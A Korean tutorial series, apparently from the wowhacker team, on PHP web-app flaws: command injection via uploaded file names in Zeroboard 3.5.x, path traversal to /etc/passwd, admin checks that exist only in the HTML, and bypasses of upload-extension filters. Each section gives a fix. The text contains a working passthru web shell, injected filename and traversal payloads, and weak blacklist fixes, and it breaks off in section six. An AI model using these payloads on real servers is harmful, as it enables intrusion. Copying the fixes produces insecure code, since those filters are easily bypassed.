1) system, exec, passthru 함수 사용시 주의할점
Cracker 가 Web Hacking 시에 가장 궁극적인 목적은 (원하는) 바로 System
명령어 실행일 것이다. 개발자가 Web 프로그래밍을 할때 프로그램에 필요한 기능으로
Language 에서 제공하는 System Execute Fucntion 을 사용하는 경우가 많이 있다.
이러한 기능을 하는 Function 으로써, PHP 를 예를 들자면 system() 나 exec()
Function 을 들 수 있다. 이와 같은 System Execute Function 들은 Web 에서
System 으로 명령을 Execute 를 할 수 있게끔 도와준다. 그리고 실행되는
Process 들의 권한은 현재 돌아가고 있는 WebServer 의 uid, gid, euid, guid 로
실행된다. (프로세스가 가지는 것은 effective uid 이다.)
uid (user identifier) 같은 것들은 like unix 에서 사용자를 구별하기 위해
사용되는 숫자 또는 이름이다. like unix 에서는 보안을 위하여 uid 나 혹은
euid 를 갖고 그 사용자의 권한을 Check 하는 경우가 많다.
Web 어플리케이션 개발자로서 이러한 부분은 크게 신경쓰지 않아도 된다.
실질적으로 Web 에서 System Execute 를 하였다고 하여도, 커널 내부적으로는
보통의 uid 를 가진 user 가 Shell 상에서 System call 을 요청하는 것이랑 별반
다를바가 없지만 Web 어플리케이션 개발자는 그런 깊숙한 부분은 신경쓸 필요가
없다는 이야기이다. Web 어플리케이션 개발자는 Cracker 가 System 에 침입할 수
없게끔 1 차 적인 보안 조취를 취하도록 프로그래밍을 하면 된다.
그러면 실제로 Web 프로그래밍을 할시에 system(), exec() 같은 Function 을
사용하는 경우는 어떤 경우인가. 가장 대표적인 예를 들자면 게시판을 들 수가
있다. 예를 들어 사용자가 Upload Board 를 이용해 특정 자료를 Server 에
올렸다고 하자. 그런데 자료 Upload 에 실수를 하여 게시물을 지우고자 할때는
Delete 메뉴를 이용한다. Delete 메뉴를 이용하여 해당 게시물을 지우고,
같이 올려진 파일도 지워야 한다. 예를 들어 다음과 같이 지운다고 하자.
http://beist.org/delete.php?text=1.txt&file=1.zip
/* delete.php 파일을 요청할때 argument 로 text 와 file 을 건내주었고
그 값은 해당 게시물이 담긴 txt 파일과 Upload 시에 올린 자료명이다. */
sample1.php
<?
/* 생략 */
system("/bin/rm -f data/$text");
system("/bin/rm -f data/$file");
/* 생략 */
?>
/* system() Function 을 이용하여 OS 내부에 있는 /bin/rm 이라는 프로그램을
이용하여 data 디렉토리 밑의 1.txt 를 지우게 한 프로그램이다.
/bin/rm 은 지우기를 시도하는 사용자의 ID 가 해당 지우려고 하는 파일의
소유자와 일치할때 그 파일을 지워주는 프로그램이다. /bin/rm 을 실행할때
준 -f 옵션은 force 의 의미로써 조건만 만족한다면 무조건 지우는 옵션을
뜻한다. */
sample1.php 에는 게시물 처리를 위하여 다른 부분도 필요하겠지만 여기서는
이해를 쉽게 하기 위하여 프로그램에서 취약한 부분만을 적게 되었다.
이런 식으로 Web CGI 에서 System Execute Function 은 이용된다. 그러면 이제
실제로 존재하는 CGI 에서 System Execute Function 을 잘못 사용하였을때 일어
나는 취약점을 알아보자.
실제로 필자가 발견한 버그를 이용할 것이다. 해당되는 Web CGI 는 게시판으로
유명한 Zeroboard 3.5.x 이다. 이 글을 쓰는 지금, Zeroboard 의 버전은 4.0.x
버전까지 나와있지만 잘못된 System Execute Function 사용으로 인한 결과를
설명하기에 적절한 코드인것 같아 이것으로 설명하겠다.
문제가 되는 부분은 zeroboard 의 delete_list.php3 파일이다.
delete_list.php3
1 <?
2 // 지금 삭제할려는 글의 데이타를 가져옴
3 $data=mysql_fetch_array(mysql_query("select * from zeroboard_$id where
4 no='$no'",$connect));
5 // 이 글에 답글이 있는지 없는지를 검사
6 $check=mysql_fetch_array(mysql_query("select count(*) from zeroboard_$id
7 where headnum='$data[headnum]' and arrangenum>'$data[arrangenum]' and
8 depth>'$data[depth]'", $connect));
9 if($check[0]>0) Error("답글이 있는 글은 삭제할수 없습니다");
10
11 // 파일삭제
12 if($data[file_name]||$data[file_name2])
13 {
14 @system("rm -rf data/$id/$data[reg_date]/$data[file_name]");
15 @system("rm -rf data/$id/$data[reg_date]/$data[file_name2]");
17 @system("rm -rf data/$id/$data[reg_date]");
18 @unlink("data/$id/$data[reg_date]/$data[file_name]");
19 @unlink("data/$id/$data[reg_date]/$data[file_name2]");
20 @unlink("data/$id/$data[reg_date]");
21 }
22
23 // 글 삭제
24 mysql_query("delete from zeroboard_$id where no='$no'",$connect);
25 mysql_query("delete from zeroboard_memo_$id where parent='$no'",$connect);
26 $temp=mysql_fetch_array(mysql_query("select count(no) from zeroboard_$id",
27 $connect));
28 mysql_query("update $admin_table set total='$temp[0]' where name='$id'",
29 $connect);
30
31 // 간단한 답글 삭제
32 mysql_query("delete from $comment_table where table_name='$id' and parent='$no'",
33 $connect);
34 ?>
이 script 의 기능은 특정 게시물을 지우는 것이다. 지울 때 file 도 같이 삭제를 한다.
중요 취약성이 되는 부분은 14~17 라인이다. $data[file_name] 과 $data[file_name2]
변수는 file name 이다.
zeroboard 에서 upload 된 file 이 놓이는 위치는 data/$id/$data[reg_date] 이다.
$id 는 board name 을 뜻하고 $data[reg_date] 는 게시물을 쓴 시간을 뜻한다.
이 것들은 mysql database 에 담겨있으며 3 번째 라인에서처럼 가져와 $data 변수에
담는다.
file 을 지울때 System Execute Function 인 system 함수를 이용하는데 Cracker 는
이를 이용하여 System 에 침입할 수가 있다.
자세한 방법을 알아보자. Cracker 는 Write Form 에서 File upload 할때 File 의
이름을 임의로 설정할 수 있다.
write_main.php3
1 <?
2 // 자료실 사용시
3 if($data[file_name])
4 {
5 $file_exist=$data[file_name]."파일이 등록되어 있습니다
6 <br>";$file_del="<input type=checkbox name=del_file value=1> 삭제";
7 }
8 if($data[file_name2])
9 {
10 $file_exist2=$data[file_name2]."파일이 등록되어 있습니다<br>";
11 $file_del2="<input type=checkbox name=del_file2 value=1> 삭제";
12 }
13 if($setup[use_pds])
14 {
15 ?>
16 <tr>
17 <td align=right>Upload File </td>
18 <td><div style=line-height:160%>
19 <? echo $file_exist;?> <input type=file name=file
20 size=<?echo $size[8];?> maxlength=255 class=input>
21 <? echo $file_del; ?><br>
22 <? echo $file_exist2;?> <input type=file name=file2
23 size=<?echo $size[8];?> maxlength=255 class=input>
24 <? echo $file_del2; ?>
25 </tr>
26 <?
27 }
28 ?>
위 소스는 write_main.php3 의 일부이다. 취약성이 되는 부분은 아니고 사용자가
Write 버튼을 클릭했을때 보여주는 Write Form 이다. 13 번째 줄에서 Admin 이
해당 게시판에 File Upload 를 허용했다면 16~25 줄까지의 내용을 뿌린다. 잠깐
살펴보면
<input type=file name=file size=200000000 maxlength=255 class=input>
이 정도일 것이다. 우리는 이 필드를 이용하여 File 을 Upload 할 수 있는데,
여기서 악의적인 조취를 취하면 Server 에 특정 Command 를 실행할 수 있다.
delete_list.php3 에서 봤듯이 file 을 지울때 rm 을 이용하여 지우게 된다.
이는 shell 을 사용한다는 것이다. ; 와 | 는 연속, 연결을 의미하니까 file
name 에서 악의적인 file name 을 주면 cracker 는 원하는 일을 할 수 있다.
ex)
filename : test;/usr/bin/touch /tmp/imbeist
이런 식으로 file name 을 주어 Server 에 올린다면 mysql Database 에도
test;/usr/bin/touch /tmp/imbeist 가 올라가게 될 것이다. 그리고 해당 게시물을
다시 지운다면 delete_list.php3 에 의해서
@system("rm -rf data/test1/4444444/test;/usr/bin/touch /tmp/imbeist");
의 명령이 실행될 것이다.
(여기서 test1 과 4444444 는 임의로 만든 것이다)
그렇다면 세미콜론에 의해서 두 명령이 내려질 것이고 touch 를 이용하여
cracker 는 /tmp directory 밑에 imbeist 라는 file 을 생성시킬 수 있다.
이 것을 이용하여 term 이라든가 port 를 열어서 shell 을 실행 시킬수 있게끔
해놓는다던가 방법은 많다. Cracker 에게 있어서 이 Security Hole 은 Web hacking
에 있어서 궁극적인 목표까지 다달은 것이다.
해결책을 알아 보자.
필자가 생각하는 해결 방법은 (위의 상황으로만 프로그래밍을 해야할때)
file name 을 체크하는 것이다. file name 에는 정상적인 알파벳이나 숫자, 그리고
. 를 제외하고 나머지의 문자가 들어갈 필요가 없다. 그래서 file name 을 검사할때
만약 ../ or ; or | 같은 문자가 들어온다면 script 실행을 중지하는 것이 좋을것
같다.
if(eregi(";", $file_name))
{
echo "장난하니?.. file 이름에 ; 가 들어있습니다.";
exit;
}
if(eregi("\|", $file_name))
{
echo "장난하니?.. file 이름에 | 가 들어있습니다.";
exit;
}
(여기에서는 ; 과 | 만 처리를 하였다.)
위와 같은 방법으로 script 실행을 중지하는 것을 원치 않는다면 eregi_replace
같은 function 을 이용하여 빈칸으로 만드는 방법도 괜찮은 방법이다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
2) Open 함수 사용시 주의할점
이번 주제는 Web 프로그래밍 중에서 가장 일어나기 쉬운 버그 중의 하나이다.
Web CGI 에서 File Open 은 많이 쓰이는 알고리즘 중에 하나이다. 하지만
이 알고리즘이 잘못 쓰여졌을 경우에 심각한 Security Hole 을 일으킬 수도
있다.
Web CGI 에서 File Open 이 쓰이는 경우를 보자. 예를 들어 Web Page 의 Menu
를 구현한다고 하자.
menu.html
<html>
<head>
<title>Beist Home 에 오신 것을 환영합니다.</title>
</head>
<body>
<center>
<a href=link.php?file=profile.html>나의소개</a><br>
<a href=link.php?file=board.html>게시판</a><br>
<a href=link.php?file=site.html>추천사이트</a><br>
</center>
</body>
</html>
간단하게 구현해 본 Menu 이다. Menu 는 나의소개, 게시판, 추천사이트로 나뉘
어져 있으며 link.php 라는 File 을 통해 접근을 한다. 각 페이지를 모두 설명할
필요는 없으니 profile.html 파일만 따로 작성하여 설명하겠다.
link.php
1 <?
2
3 $exist = file_exists("./$file");
4 if(!$exist)
5 {
6 echo "$file 파일은 없다.\n";
7 exit;
8 }
9
10 $fp=fopen("./$file", "r");
11
12 while(!feof($fp))
13 {
14 $msg .= fgets($fp,100);
15 }
16
17 $msg=nl2br($msg);
18
19 echo $msg;
20
21 ?>
profile.html
<html>
<head>
<title>yo man.. i'm beist</title>
<body>
전 남자에요. 84 년생이고요. 별명은 스누피.
</body>
</html>
link.php 의 기능은 간단하다. 먼저 fopen 을 시도하기 전에 file_exists 를
이용하여 현재 디렉토리에 그런 파일이 있는지 없는지 확인을 하고 없으면
script 실행을 중지시킨다. 존재한다면 fopen 을 이용하여 현재 디렉토리를 기준으로
read mode 로 file 핸들러를 연다. 그리고 $msg 에 file 의 내용을 담은 후에
사용자에게 뿌려준다. 여기에서는 현재 directory 를 기준으로 한다는 것을
명시하기 위하여 $file 앞에 ./ 를 붙였지만 ./ 를 붙이지 않아도 php 에서는
현재 directory 에서부터 찾으라는 것으로 인식한다.
만약 link.php?file=profile.html 이라고 한다면 file 변수의 값인 profile.html
을 열어서 사용자에게 보여주는 것이다.
[요청]
http://server/link.php?file=profile.html
[결과]
전 남자에요. 84 년생이고요. 별명은 스누피.
하지만 이런 알고리즘은 취약성을 갖는다. link.php 를 요청할때 file 의 변수를
cracker 임의대로 변경하여 요청을 한다면 link.php 에서는 cracker 가 임의로
변경한 file 의 내용을 돌려줄 것이다.
예를 들어
[요청]
http://server/link.php?file=../../../../../../../../../etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
file 의 값을 상위디렉토리로 이동하기 위하여 ../ 를 여러개를 붙였고 etc
directory 밑에 존재한 passwd file 을 열어서 cracker 는 passwd file 을
볼 수 있었다.
해결책을 알아 보자.
개발자가 이 상황에서 신경써야 할 부분은 link.php 를 호출할때 인자로 딸려오는
변수 $file 이다. cracker 가 $file 의 내용을 변경하더라도 link.php 에서는
올바르게 처리할 수 있어야 한다.
추천하는 처리 방법은 $file 의 내용을 조사하여 .. 같은 문자가 있다면 필터링을
하는 것이다. 다음은 취약성을 개선한 소스이다.
link2.php
1 <?
2 if(eregi("\.\.", $file))
3 {
4 echo "장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.";
5 exit;
6 }
7 $exist = file_exists("./$file");
8 if(!$exist)
9 {
10 echo "$file 파일은 없다.\n";
11 exit;
12 }
13
14 $fp=fopen("./$file", "r");
15
16 while(!feof($fp))
17 {
18 $msg .= fgets($fp,100);
19 }
20
21 $msg=nl2br($msg);
22
23 echo $msg;
24
25 ?>
2 번째 라인에서 eregi 를 이용하여 $file 의 내용에 .. 가 있는지 check 를
하였다. 만약 .. 라는 스트링이 $file 안에 존재한다면 cracking 시도로 간주
하고 script 실행을 중지시키고, 들어있지 않다면 정상적으로 script 를 계속
실행한다.
[요청]
http://server/link.php?file=../../../../../../../../../etc/passwd
[결과]
장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.
이런 식으로 해결을 할 수도 있고 eregi_replace 를 이용하여 .. 를 공백으로
만들어 무시할 수도 있을 것이다.
위의 방법에 대하여 어떤 문제점이 발생할 수도 있다. Shell 에서는 (bash
shell 기준) ../ 말고도 상위디렉토리로 접근하는 방법이 있다.
예를 들어
$ cd ./.\./
이렇게 입력하면 상위 디렉토리로 이동한다는 것을 뜻한다. 그래서 만약 해커가
http://server/link.php?file=./.\./.\./.\./.\./.\./etc/passwd
이런식으로 요청을 한다면 eregi 는 체크를 하지 못할 것이다. 하지만 이 것은 걱정
하지 않아도 된다. 왜냐하면 data 가 전송되어질때 encode-decode 과정에서 \ or
' or " 앞에는 \ 문자가 하나 더 붙기 때문이다. 그래서 실제로 저렇게 요청을
한다더라도
./.\\./.\\./.\\./.\\./.\\./etc/passwd
이란 파일을 열려고 시도하게 된다. 하지만 만약 php.ini 같은 설정 파일에서
magic_quote 값을 변경하였을 경우 escape (\) 문자가 앞에 붙지 않게 된다.
그래서 cracker 의 요청대로 passwd 파일을 open 할 것이고 출력하게 된다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
3) 눈에 보이지 않는 것에 대해 주의할점
이번 주제 역시 Web 프로그래밍 시에 일어나기 쉬운 취약성 중 하나이다.
아마도 Web 프로그램 만큼 BUG 가 많은 것도 없을 것이다. 왜냐하면 인터넷의
발전에는 WWW 가 있었고 WWW 의 대부분에 CGI 가 사용되기 때문이다.
(CGI 개발자들이 CGI 개발을 잘 못했다는 이야기가 아니라 워낙 많은 양의 CGI
가 있어서 많은 BUG 가 발견 될 수 밖에 없다는 이야기이다.)
이번의 BUG 는 BUG 라기보다는 개발자의 단순한 실수로 인한 것이라고 보는 것이 더
정확할 듯 하다.
이번에는 공지사항을 예로 들어서 설명을 하겠다. 공지사항은 Admin 만 올릴 수
있는 Board 같은 것입니다.
그러면 일반 사용자가 글을 쓸수 있지 못하도록 프로그래밍을 해야 한다.
하지만 어떤 Web CGI 에서는 아주 이상한 방법으로 사용자가 글을 쓸수 없도록
하기도 한다.
board.php
1 <?
2
3 echo "
4 <html>
5 <head>
6 <title>게시판 Menu</title>
7 </head>
8 <body>
9 ";
10
11 include "list_board.php";
12
13 echo "<br><br>";
14
15 echo "<a href=list.php>게시물 리스트</a><br>";
16 echo "<a href=next.php>다음 글</a><br>";
17 echo "<a href=pre.php>이전 글</a><br>";
18
19 if($adminpw="123456")
20 {
21 echo "<a href=writeform.html>공지사항쓰기</a><br>";
22 echo "<a href=delete.html>글 삭제하기</a><br>";
23 echo "<a href=modify.html>글 수정하기</a><br>";
24 }
25 echo "
26 </body>
27 </html>
28
29 ?>
11 번째 줄에서 list_board.php 를 include 하는데 list_board.php 의 기능은
공지사항의 게시물을 출력해주는 Script 이다. list_board.php 는 설명하려는
취약성이 아니므로 소스 첨부를 하지 않겠다. 게시물의 리스트를 보여주고
15~17 에서는 일반적인 게시판 메뉴들을 보여준다.
그리고 만약 board.php 를 요청하였을때 변수 $adminpw 가 있고, 그 값이
123456 이라면 이 사용자는 Admin 으로 인식하여 Admin 메뉴들도 뿌려준다.
21~23 에서 쓰기, 삭제, 수정 메뉴들을 보여준다.
모두 다 같은 원리이므로 여기서는 쓰기만을 예로 들어서 설명하겠다.
writeform.html
<html>
<head>
<title>이 page 는 공지사항 write form 이다.</title>
</head>
<body>
<form action=write_ok.php method=post>
제목 : <input type=text name=subject><br>
본문 : <input type=text name=comment><br>
비밀번호 : <input type=password name=pass><br>
<input type=submit value=글쓰기>
</form>
</body>
</html>
위와 같은 write form 을 이용하여 우리는 공지사항을 올릴 수 있을 것이다.
하지만 writeform.html 을 보다시피 writeform.html 자체에서는 이 사람이
admin 인지 아닌지 확인하는 알고리즘이 없다. (write_ok.php 에서도 Admin
인지 확인하는 알고리즘이 없다고 가정한다.) 그래서 만약 Cracker 가
board.php 에서 $adminpw 와 그에 맞는 값을 가지고 요청을 하지 않아도,
writeform.html 의 url 만 알고 있으면 공지사항을 쓸 수 있다는 이야기이다.
이런 Bug 도 일종의 Security Hole 이라고 할 수 있다. 이런 류의 취약점은
비슷한 상황에서 여러 종류의 취약점으로 발견된다. 예를 들면 Web Board
에서 File Upload 시에 <input type=file> 만 출력하지 않아서 자료실 기능이
없는 것처럼 만들어 놓았지만, 실제로는 자료실 기능이 없는 것이 아니라
단순하게 <input type=file> 만 출력하지 않는 것이다.
sample.php
<?
echo "
<html>
<head>
<title>write form!</title>
</head>
<body>
<form action=write_ok.php method=post ENCTYPE=\"multipart/form-data\">
제목 : <input type=text name=subject><br>
본문 : <input type=text name=comment><br>
";
$fp=fopen("conf.txt", "r");
$test=fgets($fp, 2);
if($test==1)
echo "
<input type=file name=infile><br>";
echo "
<input type=submit value=글쓰기><br>
</form>
</body>
</html>
";
?>
이런 식으로 conf.txt file 에서 데이터를 읽은 후 그 값이 만약 1 이라면
File upload 기능을 사용한다고 보고 <input type=file> 을 출력하여 주는 것
인데, 만약 Cracker 가 html 을 수정하여 임의로
<input type=file name=infile>
를 추가한다면 Cracker 는 자료를 올릴 수 있게 될 것이다. (단 write_ok.php
에서 별다른 인증을 거치지 않는다는 가정하임)
한때 이런 버그를 이용하여 악의적인 Script 를 올린 후 Shell 을 획득하는
방법이 유행하기도 하였다. 이 것은 우습게 보아서는 안될 부분이며 개발자가
생각하는 것 이상으로 Server 에 피해를 미칠수도 있다.
해결책을 알아보자.
개발자가 개발을 하거나 Patch 를 할때 알아둬야 할 사항이 있다. Cracker 가
Source 를 다 볼수 있는 환경이어도 hacking 을 당해선 안되는 것을 만들어야
한다.
이 말은 완벽한 CGI 를 만들라는 것이 아니라, 정석의 알고리즘을 사용하지
않고 편법을 이용하여 단순히 눈속임을 하는 방법을 사용하지 말라는 이야기이다.
board.php 와 같은 경우에는 특별히 수정하지 말고 writeform.html 에서 action
script 인 write_ok.php 를 수정하는 것이 가장 좋은 방법이다.
write_ok.php 의 맨 앞에 다음과 같은 인증을 한다. 만약 $pass 와 그 값이
123456 이 아니라면 Admin 이 아닌 사용자가 글을 쓰려는 것으로 인식하여 script
를 중지시킨다.
if($pass!="123456")
{
echo "입력하신 암호는 정확하지 않습니다.<br>";
echo "공지사항을 올리 실 수 없습니다.";
exit;
}
sample.php 에서의 write_ok.php 에서는 약간 다르게 처리하면 될 것이다.
write_ok.php 에서
$fp=fopen("conf.txt", "r");
$test=fgets($fp, 2);
if($test==1) {
copy($infile, "data/$infile_name");
chmod("data/$infile_name", 0444);
}
이런식으로 file 을 실질적으로 Server 로 Copy 하는 copy 함수를 사용하기 전에
conf.txt file 을 읽어와 설정값이 1 로 되어있는지 확인하고 1 이 아니라면
file 을 copy 하지 않는다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
4) file upload 알고리즘 시의 주의할점 -1-
이번에 다룰 연속적인 주제는 기존의 Web Board 에서 자주 발견된 버그이다.
이 보안 프로그램에서 다루는 내용이 유난히 Web Board 내용이 많은데 그것은
Web 에서 Board 의 비율이 굉장히 높은 비중을 차지하고 있으며, Web Board
에서 나온 대부분의 Security Hole 은 다른 CGI 에서도 드러나는 현상들이기
때문이다.
첫번째 다룰 주제는 Board 에 file upload 할때 일어날 수 있는 문제점 중의
하나이다. php 프로그래밍에서는 사용자가 file 을 올리려 할때 php 와 같은
확장자를 갖는 file 을 올리는 것을 막아야 한다. 이유는 사용자가 Server 에
php file 을 올릴 수 있다면 서버에서 shell 을 실행할 수 있기 때문이다.
예를 들자면 다음과 같은 script 를 Server 에 Upload 했다고 하자.
hacking.php
<?
passthru($beist);
?>
cracker 는 다음과 같은 방법으로 System 에서 Command 를 Execute 할 수있다.
[요청]
http://server/hacking.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
cracker 는 Server 의 passwd file 을 읽을 수 있다. (물론 더 침입을 시도
하였다면 System 의 Root 가 되는 것도 쉽게 가능하였을 것이다.)
예전에 어떤 CGI 에서 다음과 같은 방법으로 php 업로드를 막으려 하였다.
하지만, 완벽한 보안은 없는법. 이를 깨는 방법도 있다.
write_ok.php
1 <?
2
3 /* 절차 생략 */
4
5 $check=explode( ".", $in_file_name);
6
7 if($check[1]!="txt")
8 {
9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
/* 이해를 쉽게 하기 위하여 소스의 맨 앞에 line number 를 붙였다.
write_ok.php 로 값이 넘어갈때 file 의 변수값은 $in_file 이다. 뒤에
apache, php 로 돌아가고 있는 서버일때 사용자의 FILE FORM 변수가
in_file 이라면 넘어올때 $in_file_name, $in_file_size 와 같이 자동적으로
변수가 붙게 된다. $in_file_name 은 사용자가 올린 file 이름을 말한다.
5 번째 라인에서 $in_file_name 을 . 을 기준으로 $check 에 배열형식으로
담는다. 예를 들어 이 문법은, test.php 라는 file 을 사용자가 올렸다면
$check[0] 에는 test 가, $check[1] 에는 php 가 담기게 된다.
7 번째 줄에서 $check[1] 의 확장자가 txt 가 아니라면 모두 잘못된
file 로 간주하고 스크립트 실행을 중지시켜 버린다.
만약 정상적인 file 이라면 그 다음 스크립트를 진행하여 file 은 아마도
올바르게 저장이 될 것이다. */
하지만 이 방법에도 취약점이 존재한다. 분명히 explode 를 이용하여 배열을
나누긴 하지만 $check[1] 에만 txt 가 담기게 하면 인증을 무사히 통과할 수
있을 것이다. 그래서 filename 을 hacking.txt.php 라고 올린다다면 $check[1]
에는 txt 가 담기게 될것이고 결과적으로 php 파일은 올라가게 될것이다.
[요청]
http://server/data/hacking.txt.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
php3, html, shtml 와 같이 php 스크립트를 돌릴수 있는 확장자도 더 있지만
여기서는 설명을 위해 php 확장자 단 하나만이 스크립트를 돌릴 수 있다는
가정하에 설명하였다.
해결 방법을 알아보자.
여기서의 문제점은 file name 에서 . 으로 나눴을때의 기준으로 첫번째
배열만 검사를 한다는 점이다. (0 부터 시작한다.) 이에 대한 보완점으로
file name 에서 . 으로 나누었을때 맨 마지막에 위치한 배열을 검사해야한다.
올바르게 갱신된 소스를 살펴보자.
write_ok2.php
1 <?
2
3 /* 절차 생략 */
4
5 $check=explode( ".", $in_file_name);
6 $point=count($check)-1;
7 if($check[$point]!="txt")
8 {
9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
추가된 부분은 6 번째 라인이다. $check 배열을 count 함수를 이용하여 몇개의
배열이 있는지 알아보았고 그 $point 에 담아놓았다. 7 번째 줄에서 검사를 할때
$point 를 주어 맨 마지막 배열을 검사하도록 하였다.
결국 cracker 가 hacking.txt.php 를 올려도 txt 가 담긴 배열이 아닌 php 가
담긴 배열을 검사함으로써 악의적인 목적을 가진 script 의 upload 를 막을 수가
있다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
5) file upload 알고리즘 시의 주의할점 -2-
이번에 다룰 주제 역시 Web Board 상에서 File Upload 알고리즘 취약성에 관련되
었다. 4 번 장에서 설명한바와 같이 php 프로그래밍에서는 사용자가 php 관련파일을
올릴 수 없도록 막아야 한다. 왜냐하면 악의적인 php 스크립트를 만들어 server 의
shell 을 얻을수도 있기 때문이다. 만약 cracker 가 shell 을 얻는다면 그것은
cracker 에게 있어서 Web Hacking 의 최종 목적까지 가게 만든 것이다.
write_ok3.php
1 <?
2
3 /* 절차 생략 */
4
5 if(ereg("php", $in_file_name))
6 {
7 echo "장난하니?.. file 이름에 php 가 들어있으면 안됩니다.";
8 exit;
9 }
10
11
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
/* 중요 취약점이 되는 부분만 설명하기 위해 불필요한 부분은 생략하였다.
5 번째 줄에서 사용자가 보내온 file name 중 php 라는 문자열이 있으면
걸러내기 위해 ereg 라는 함수를 사용하였다. */
이번에 쓰인 php 파일 upload 막기 알고리즘은 사용자가 보내온 file name 에
만약 php 라는 문자열이 존재한다면 php 스크립트로 알고 무조건 script 실행을
취소하는 것이다. 이 방법에는 security hole 말고도 단점이 있다. 예를 들어
사용자가 php.txt 라는 file 을 올릴때도 악의적인 script 로 간주하여 upload 를
허용하지 않기 때문이다.
그렇다면 이 알고리즘에 대한 security hole 을 알아보자.
ereg 는 지정한 String 에서 특정 단어나 혹은 문자가 포함되어 있는지 알아볼
수 있게 하는 함수이다. 하지만 ereg 는 소문자만 검사할뿐이지 대문자를 검사하지는
않는다.
만약에 cracker 가 file name 을 hacking.php 가 아닌 hacking.pHP 라는 식으로
뒤에 대문자로 고친다면 ereg 함수는 인식을 하지 못하는 것이다. hacking.pHP 에
<? passthru($beist); ?> 와 같은 악의적인 기능을 할수있는 script 를 짜서 서버에
올린다면 cracker 는 System Command Execute 이 가능해질 것이고 이 것은 cracker
에게 있어서 궁극적인 목표에 다달은 것이다.
해결책을 알아보자.
ereg function 은 알파벳의 소문자 밖에 검사를 하지 못한다. 그래서 대문자도
같이 검사를 하기 위해서는 eregi 라는 함수를 사용해야 한다. eregi fucntion 을
사용하여 검사를 하면 대, 소문자에 상관없이 check 를 해주기 때문에 위의
hacking.pHP 같은 회피법을 막을 수 있다.
write_ok4.php
1 <?
2
3 /* 절차 생략 */
4
5 if(eregi("php", $in_file_name))
6 {
7 echo "장난하니?.. file 이름에 php 가 들어있으면 안됩니다.";
8 exit;
9 }
10
11
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
수정한 부분은 5 번째 줄에서 ereg -> eregi 이다. 이런식으로 check 를 함으로써
cracking 을 막을 수 있다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
6) file upload 알고리즘 시의 주의할점 -3-
이번에는 Web Board 상에서 File Upload 부분을 처리할때 Hacking 취약성
3 번째를 알아보겠다. Cracker 가 Hacking 을 할때 가장 많이 이용하는 취약성은
어떤 것일까? 단연 Web Hacking 이다. 그 중에서도 Board 의 File Upload
취약성은 가장 많이 이용된다. 도대체 어떻게 된 구조길래 Cracker 들이
가장 좋아하는 방법인지 알아보겠다.
Cracker 가 Web Server 에 CGI 를 올려서는 절대 안된다고 몇차례 이미
이야기를 했다. 이유는 Cracker 가 악의적인 CGI 를 올릴 수 있으면 서버에
System Command 를 실행시킬 수도 있기 때문이다.
이번엔 어떤 취약성일까? 알아보자.
사용자가 Upload 할 File 을 지정하고, File 을 서버에 올리면 지정된 파일에는
몇가지의 변수들이 정의되어 진다.
예를 들어 다음과 같은 폼에서 File 을 올렸다고 가정하자.
<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=submit value=Send>
</form>
